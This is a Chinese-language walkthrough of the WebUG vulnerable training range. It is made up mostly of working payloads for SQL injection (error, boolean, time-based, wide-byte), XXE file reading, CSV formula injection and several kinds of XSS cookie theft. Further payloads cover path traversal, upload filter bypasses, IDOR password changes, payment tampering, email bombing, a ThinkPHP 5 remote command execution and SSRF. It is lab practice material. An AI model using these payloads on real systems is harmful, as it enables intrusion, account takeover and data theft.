目录
显错注入
注入点:
control/sqlinject/manifest_error.php?id=1
判断注入点
# 1' and 1=1--+
/control/sqlinject/manifest_error.php?id=1' and 1=1--+
# 1' and 1=2--+
/control/sqlinject/manifest_error.php?id=1' and 1=1--+
可以看到页面的一些内容变化,说明存在注入
#判断字段数量,数量为2
/control/sqlinject/manifest_error.php?id=1' order by 2--+
#显位
/control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,2--+
#查看当前库下的所有表
/control/sqlinject/manifest_error.php?id=1%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
#查看flag表的所有字段
/control/sqlinject/manifest_error.php?id=1%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+
#查看flag内容
/control/sqlinject/manifest_error.php?id=1%27 and 1=2 union select 1,group_concat(flag) from flag--+
布尔注入
#返回正常
/control/sqlinject/bool_injection.php?id=1' and 1=1--+
#异常返回
/control/sqlinject/bool_injection.php?id=1' and 1=2--+
--------------------------------------------------------
#判断数据库长度
/control/sqlinject/bool_injection.php?id=1' and length(database())=5--+
#爆破数据库名字
/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),1,1))=119 --+
/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),2,1))=101 --+
...
--------------------------------------------------------
#判断当前数据库表数量
/control/sqlinject/bool_injection.php?id=1' and (select count(*) from information_schema.tables where table_schema=database())=7--+
#判断第一张表,表名的长度
/control/sqlinject/bool_injection.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9--+
#判断第二张表,表名的长度
/control/sqlinject/bool_injection.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+
...
#表破第二章表表名
#第一个字符的ascii码值:
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101--+
#第二个字符的ascii码值:
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110--+
...
#爆破出8个ascii值为:101 110 118 95 108 105 115 116
#解码为env_list
--------------------------------------------------------
#猜解env_list有多少个字段
/control/sqlinject/bool_injection.php?id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')=8--+
#猜解env_list第一个列名字符长度
/control/sqlinject/bool_injection.php?id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 0,1)=2--+
#猜解env_list第二个列名字符长度
/control/sqlinject/bool_injection.php?id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 1,1)=7--+
....
#猜解env_list第五个列名字符长度
/control/sqlinject/bool_injection.php?id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 5,1)=7--+
...
--------------------------------------------------------
#爆破第五个列名,第一个字符的ascii
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101--+
#爆破第五个列名,第二个字符的ascii
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),2,1))=110--+
....
# 爆破了7个字符,ascii码为101 110 118 70 108 97 103
# 解码后等于envFlag
--------------------------------------------------------
#猜解envFlag字段有多少条记录
/control/sqlinject/bool_injection.php?id=1' and (select count(envFlag) from env_list)=20--+
#猜解envFlag字段第一条字段有多少个字符
/control/sqlinject/bool_injection.php?id=1' and (select length(envFlag) from env_list limit 0,1)=16--+
#猜解envFlag字段第二条字段有多少个字符
/control/sqlinject/bool_injection.php?id=1' and (select length(envFlag) from env_list limit 1,1)=9--+
...
#猜解flag
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102--+
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list limit 1,1),2,1))=100--+
....
#最终爆破完flag的ascii值:102 100 115 97 102 115 100 102 97
#解码为:fdsafsdfa
延时注入
延时注入语句和盲注的语句都类似,不过就是多了一个if语句去判断,如果正确或不正确都会返回相对应的响应时间。
可以看到我以下payload的规则:
1' and if(/*!上一关盲注语句*/,sleep(3),1)--+
#出现延迟,说明存在注入
1' and sleep(10)--+
#判断数据库字符长度
1' and if(length(database())=5,sleep(3),1)--+
#爆破数据库名
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)--+
1' and if(ascii(substr(database(),2,1))=101,sleep(3),1)--+
...
#判断当前数据库表数量
1' and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)--+
#判断第一张表,表名的长度
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)--+
#判断第二张表,表名的长度
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(3),1)--+
#判断第三张表,表名的长度
...
#表破第二章表表名
#第一个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)--+
#第二个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1)--+
#第三个字符的ascii码值
...
#猜解表有多少个字段
1' and if((select count(column_name) from information_schema.columns where table_name='env_list')=8,sleep(3),1)--+
#猜解表的第一个列名字符长度
1' and if((select length(column_name) from information_schema.columns where table_name='env_list' limit 0,1)=2,sleep(3),1)--+
#猜解表的第二个列名字符长度
....
#爆破第五个列名,第一个字符的ascii
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101,sleep(3),1)--+
#爆破第五个列名,第二个字符的ascii
...
#猜解envFlag字段有多少条记录
1' and if((select count(envFlag) from env_list)=20,sleep(3),1)--+
#猜解envFlag字段第三条字段有多少个字符(flag在第三条记录)
1' and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)--+
#猜解flag
1' and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)--+
1' and if(ascii(substr((select envFlag from env_list limit 2,1),2,1))=102,sleep(3),1)--+
.....
#最后flag的ASCII码值为:
103 102 100 103 100 102 115 100 103
#解码:
gfdgdfsdg
post注入
注入点:
报错:
#出现延时
keyWordName=1' or sleep(10)--+
剩下的操作和上一关一样 ,只需要将and改成or即可。
过滤注入
同上,并没有过滤。
宽字节注入
#报错
/control/sqlinject/width_byte_injection.php?id=1%df%27
#正常显示
/control/sqlinject/width_byte_injection.php?id=1%df%27--+
#查看当前字段数,字段数为3
/control/sqlinject/width_byte_injection.php?id=1%df%27 order by 2--+
#显位
/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,2--+
#查看所有数据库
/control/sqlinject/width_byte_injection.php?id=1%df%27%20and%201=2%20union%20select%201,concat(schema_name,0x7e)%20from%20information_schema.schemata--+
#查看webug数据库下的所有表
/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+
#查看env_list表下所有字段
/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374--+
#查看flag
/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1--+
xxe注入
打开页面,发现可以输入口:
随意输入一个数据,当时查看了数据包,并没有相关与xml的数据格式,有点懵
明着说是xxe,就直接输入xml格式数据传输过去
<?xml version="1.0"?>
<helo>
<batch id="test">
<title>xxe</title>
<test>xxe test</test>
</batch>
</helo>
可以看到我们输入的内容会被显示出来,那么就代表xml代码能够被网站解析执行。
漏洞利用:
此题并没有flag,但可以使用以下payload对系统文件进行任意读取:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTINTY read SYSTEM "file:///c/windows/win.ini">
]>
<note>
<name>$read</name>
</note>
将以上代码利用burp进行url编码
然后复制payload利用data传输到服务器,就可以看到win.ini里的内容了
csv注入
后台代码连接数据库账号密码错误了,即使改了之后,也不能实现导出功能。
我把后台代码做了改动过,靶场文件地址:
C:\phpStudy\WWW\control\sqlinject\csv_vuln.php
将所有内容替换成以下代码:
<?php
$conn = mysqli_connect('localhost', 'root', 'root', 'webug');
if ($conn) {
$sql = "select * from data_crud";
$res = $conn->query($sql);
}
if (isset($_POST['daochu'])){
$headerArray = ['name','age','email'];
$string = implode(",",$headerArray)."\n";//先做出表头
while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){
$data = [
['name'=>urldecode($name),'age'=>urldecode($age),'email'=>urldecode($email)]
];
foreach ($data as $key => $value) {
//把需要的字段一一对应起来,如果已经对应好 直接 $outArray = $value;
$outArray['name'] = $value['name'];
$outArray['age'] = $value['age'];
$outArray['email'] = $value['email'];
$string .= implode(",",$outArray)."\n"; //用英文逗号分开
}
}
@$filename = date('Ymd').'.csv'; //设置文件名
header("Content-type:text/csv");
header("Content-Disposition:attachment;filename=".$filename);
header('Cache-Control:must-revalidate,post-check=0,pre-check=0');
header('Expires:0');
header('Pragma:public');
exit(mb_convert_encoding($string, "GBK", "UTF-8"));
}
?>
<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
header("Location:../login.php");
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<style>
body{font-family: Arial, Helvetica, sans-serif;}
table{border-collapse: collapse;
width: 50%;
text-align: center;}
td,th{border:1px solid #ccc; padding: 2px 5px;}
button{padding: 5px;}
div {
line-height: 3;
}
</style>
<body>
<?php
$conn = mysqli_connect('localhost', 'root', 'root', 'webug');
$i_name = urlencode($_POST[name]);
$i_age = urlencode($_POST[age]);
$i_email = urlencode($_POST[email]);
if ($conn) {
if ($i_name != null && $i_age != null && $i_email != null){
$sql = "INSERT INTO data_crud(name,age,email) VALUES ('$i_name','$i_age','$i_email')";
$res = $conn->query($sql);
}
}
if ($conn) {
$sql = "select * from data_crud";
$res = $conn->query($sql);
}
?>
<table id="table">
<tr>
<th>Name</th>
<th>Age</th>
<th>Email</th>
</tr>
<?php
if ($res) {
while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){
echo '<tr>';
echo '<input type="text" hidden="hidden" name="id[]" value="'.$id.'">';
echo '<td><div contenteditable="true">'.urldecode($name).'</div></td>';
echo '<td><div contenteditable="true">'.urldecode($age).'</div></td>';
echo '<td><div contenteditable="true">'.urldecode($email).'</div></td>';
echo '</tr>';
}
}
?>
</table>
<form action="#" method="post">
<input name="daochu" type="submit" value="导出"/>
</form>
<br>
<h2>添加新用户信息</h2>
<form action="#" method="post">
<table id="table">
<tr>
<td>Name</td>
<td>Age</td>
<td>Email</td>
</tr>
<tr>
<td><input name="name" type="text" size="20"/></td>
<td><input name="age" type="text" size="20"/></td>
<td><input name="email" type="text" size="20"/></td>
</tr>
</table>
<div>
<input name="submit" type="submit" value="确认添加"/>
</form>
</div>
</body>
<script src="../../../aa/html/table-to-excel.js"></script>
<script>
var tableToExcel = new TableToExcel();
document.getElementById('button').onclick = function () {
tableToExcel.render("table");
};
</script>
</html>
然后将php版本切换成5.4.45:
打开靶场就可以看到以下页面:
漏洞利用:
模拟一个攻击者添加一条信息,payload:
=1+cmd|' /C calc'!A0
当受害者导出信息,生成csv文件时,将会打开计算机窗口。
如果受害者盲目点是,不看提示的话,就会中招:
关于更多的csv注入请阅读:https://blog.csdn.net/weixin_41924764/article/details/108665746
反射型xss
#url
/control/xss/xss_1.php?id=1
可以看到1是我们可控制点
pyaload:
/control/xss/xss_1.php?id=1<script>alert(document.cookie)</script>
存储型xss
滑到最低,可以发现一个留言板块
输入任意字符(aaaaa),ctrl+U查看页面源代码
ctrl+F 搜索aaaaa 可以看到我们输入的位置,并没有被但其他单引号或双引号包含着,那我们可以直接在留言处插入xss语句
payload:
<script>alert(document.cookie)</script>
万能密码登陆
账号:admin
密码:’ or ‘1’='1
DOM型xss
打开靶场,可以看到输入框,我们输入任意字符进行搜索
F12查看页面源代码,可以看到我们输入的值在value中包含着
payload:
" οnclick=alert(document.cookie) id="
当我们再次点击输入框时,就会执行弹窗了
过滤xss
过滤了script字符
换个标签:
<img src=1 onerror=alert(document.cookie)>
链接注入
"链接注入"是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。
在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击的站点本身启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。
“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中返回给用户。攻击者能够将危险字符注入响应中,便能够嵌入 URL 及其他可能的内容修改。
http://10.1.1.18/control/xss/link_xss.php?id=<a href="http://baidu.com">baidu</a>
任意文件下载
打开题目靶场,可以看到下载按钮
鼠标右键,点击复制链接地址
#源链接地址
/control/filedownload/file_download.php?file=template/assets/img/1.txt
#修改成
/control/filedownload/file_download.php?file=../../../../windows/win.ini
下载文件后,查看内容,能看到靶机上win.ini的文件内容,说明存在漏洞
下载index.php,可以看到php源码
/control/filedownload/file_download.php?file=index.php
此题无flag,可以自己创建一个flag文件在c盘下,然后自己利用漏洞读取
mysql配置文件下载
此题与上题原理相同,不过题目是需要我们下载mysql的配置文件
#../mysql/时,执行了下载命令,说明存在mysql目录
/control/filedownload/ini_file_download.php?file=../mysql/
#直接下载my.ini
/control/filedownload/ini_file_download.php?file=../mysql/my.ini
文件上传(前端拦截)
打开靶场,可以看到上传时调用js代码
type_filter(this.files)
删除掉:
删除后直接上传php文件
访问:
/template/upload/phpinfo1.php
文件上传(解析漏洞)
文件名特殊字符绕过,将文件命名为:
phpinfo1.php��.jpg
上传成功:
文件上传(畸形文件)
查看了源代码,过滤规则是将php替换成空
将文件名改成.pphphp即可绕过
先删除前端校验的js代码
#删除
type_filter(this.files)
然后直接上传phpinfo1.pphphp
文件上传(截断上传)
文件名特殊字符绕过,将文件命名为:
phpinfo1.php��.jpg
文件上传(htaccess)
靶场环境图片都上传不了
进入目录:C:\phpStudy\WWW\control\upload_file
修改upload_file_5.php
源:
$temp_file = $_FILES['upload_file']['tmp_name'];
修改成:
$temp_file = $_FILES['file']['tmp_name'];
切换php版本为5.2.17
老规矩了,删除前端限制的js代码后
先上传文件名为.htaccess的文件
如果是在windows下,文件必须有名字,如果想要创建.htaccess文件可以利用cmd去制作
手动创建一个1.txt文件,然后用ren命令去修改
ren 1.txt .htaccess
制作好后,添加以下内容:
AddType application/x-httpd-php .jpg
老规矩了,删除前端限制的js代码后
上传后抓包,在.htaccess后面加入一个特殊字符(因为后台源代码将htaccess加入了黑名单)
�
上传好.htaccess,再上传一个jpg文件
访问:
http://10.1.1.18//template/upload/php.jpg
越权修改密码
账号:aaaaa
密码:asdfsadf
进入系统后,看到一个修改密码的页面,输入旧密码和新密码。
提交抓包,修改url中id参数为1(admin账号的id是1)
然后从新打开越权修改密码的靶场:
http://10.1.1.18/control/auth_cross/cross_auth_passwd.php
输入刚才我们越权修改的账号密码,即可登录成功。
支付漏洞
进入靶场,点击立刻购买时,可以看到我们直接购买了商品
打开burp suite,点击立刻购买时,拦截数据包
可以看到金额为100,我们修改成0.01,然后发包
然后提示我们花了0.01购买了商品
邮箱轰炸
输入自己邮箱进行,点击注册,然后利用burp suite进行抓包
发送到intruder模块
清除标记:
设置payload:
- 选择Null payload
- 输入发送次数,20次
然后点击右上角start attack进行发送数据包
越权查看admin
账号:aaaaa
密码:asdfsadf
默认是这个账号密码,除非前面越权修改密码时改了
登录后修改id为1即可查看admin内容
URL跳转
复制链接地址
#源地址
control/more/url_redirect.php?url=https://www.baidu.com
#修改成
control/more/url_redirect.php?url=https://www.csdn.net/
文件包含漏洞
打开靶场,可以看到url有包含文件
我们尝试包含win.ini试试
/control/more/file_include.php?filename=../../../../../../../../../../../windows/win.ini
此题也无flag,可以尽情发挥。
命令执行
打开靶场时出现报错
进入webug服务器,切换php版本。
切换版本后,再次访问页面出现ThinkPHP V5框架
ThinkPHP v5存在一个远程命令执行漏洞,影响的版本为:
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
直接载入payload:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
webshell爆破
先输入任意密码,进行抓包
发送到intruder模块
标记密码:
设置payload:
点击load,选择自己的字典
加载好字典后,点击右上角start attack进行抓包
密码为a1
成功登陆webshell
ssrf
打开靶场直接Not Found?
其实不是的,注意看以下url,有个参数能够指向一个地址。
内外网的端口和服务扫描
http://10.1.1.18/control/more/ssrf.php?url=localhost:3306
主机本地敏感数据的读取
http://10.1.1.18/control/more/ssrf.php?url=file:///c:/windows/win.ini
关于ssrf更多相关知识:
https://www.jianshu.com/p/d1d1c40f6d4c